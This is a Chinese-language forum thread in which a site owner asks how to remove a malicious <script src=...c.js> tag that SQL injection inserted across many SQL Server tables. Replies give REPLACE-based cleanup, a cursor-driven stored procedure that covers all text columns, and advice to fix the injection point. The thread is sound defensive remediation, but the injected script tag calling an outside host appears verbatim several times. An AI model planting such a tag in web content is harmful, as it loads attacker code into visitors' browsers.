sql server 多个表被注入

duduotianya 2009-08-07 10:24:55
sql server 多个表被注入一段恶意代码 <script src=http://3god.ne%54/c.js></script>
怎么批量替换这些代码?
...全文
71 点赞 收藏 9
写回复
9 条回复
切换为时间正序
请发表友善的回复…
发表回复
duduotianya 2009-08-08
防注入已经做了
回复
lzp4881 2009-08-07
光替换是没有用的,关键是要找出注入点,堵上漏洞。不然你今天替换了,明天又被注入。
回复
sy_binbin 2009-08-07
那你参考下面的方法试试
http://hi.baidu.com/gzqsd/blog/item/353aa3a96b78ffb8ca130c68.html
回复
duduotianya 2009-08-07
UPDATE tbl SET xxx = REPLACE(xxx, '<script src=http://3god.ne[%]54/c.js></script>', '')
只能一个表一个表,一个字段一个字段的替换??
回复
invoked 2009-08-07
[Quote=引用 2 楼 hookee 的回复:]
先备份
语句中%改为[%]
SQL codeUPDATE tblSET xxx=REPLACE(xxx,'<script src=http://3god.ne[%]54/c.js></script>','')
[/Quote]
Up
回复
hookee 2009-08-07
先备份
语句中%改为[%]
UPDATE tbl SET xxx = REPLACE(xxx, '<script src=http://3god.ne[%]54/c.js></script>', '')
回复
sy_binbin 2009-08-07
语法
REPLACE ( original-string, search-string, replace-string )

参数
如果有某个参数为 NULL,此函数返回 NULL。

original-string 被搜索的字符串。可为任意长度。

search-string 要搜索并被 replace-string 替换的字符串。该字符串的长度不应超过 255 个字节。如果 search-string 是空字符串,则按原样返回原始字符串。

replace-string 该字符串用于替换 search-string。可为任意长度。如果 replacement-string 是空字符串,则删除出现的所有 search-string。

例子:
update jobs set job_desc=REPLACE(job_desc,'wgc','abc')Where min_lvl=10
将表jobs 中的job_desc字段中的'wgc'替换为'abc',条件为Where min_lvl=10
回复
wellsoho 2009-08-07
[Quote=引用 6 楼 lzp4881 的回复:]
光替换是没有用的,关键是要找出注入点,堵上漏洞。不然你今天替换了,明天又被注入。
[/Quote]


同意。一定要做好防sql注入,否则白改。
回复
duduotianya 2009-08-07

--DROP PROCEDURE dbo.sp_delmuma
CREATE PROCEDURE dbo.sp_delmuma
AS
declare @delStr nvarchar(500)
set @delStr='<script src=http://3god.ne%54/c.js></script>' --要被替换掉字符

set nocount on

declare @tableName nvarchar(100),@columnName nvarchar(100),@columnType int,@tbID int,@iRow int,@iResult int
declare @sql nvarchar(500)

set @iResult=0
declare cur cursor for
select name,id from sysobjects where xtype='U'

open cur
fetch next from cur into @tableName,@tbID

while @@fetch_status=0
begin
declare cur1 cursor for
--xtype in (175,167,239,231,35,99) 为char,varchar,nchar,nvarchar,text,ntext类型
select name,xtype from syscolumns where xtype in (175,167,239,231,35,99) and id=@tbID
open cur1
fetch next from cur1 into @columnName,@columnType
while @@fetch_status=0
begin
if (@columnType=99)
begin
set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(cast(['+@columnName+'] as varchar(8000)),'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''
--update news set content=replace(cast(content as varchar(8000)),'<script src=http://3b3.org/c.js></script>','')
end
else if (@columnType=35)
begin
set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(cast(['+@columnName+'] as varchar(300)),'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''
end
else
begin
set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''
end
exec sp_executesql @sql
set @iRow=@@rowcount
set @iResult=@iResult+@iRow
if @iRow>0
begin
print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'条记录;'
end
fetch next from cur1 into @columnName,@columnType

end
close cur1
deallocate cur1

fetch next from cur into @tableName,@tbID
end
print '数据库共有'+convert(varchar(10),@iResult)+'条记录被更新!!!'

close cur
deallocate cur
set nocount off

GO
================================
这样行么?高手们!
回复
发动态
发帖子
ASP
创建于2007-09-28

2.8w+

社区成员

ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
申请成为版主
社区公告
暂无公告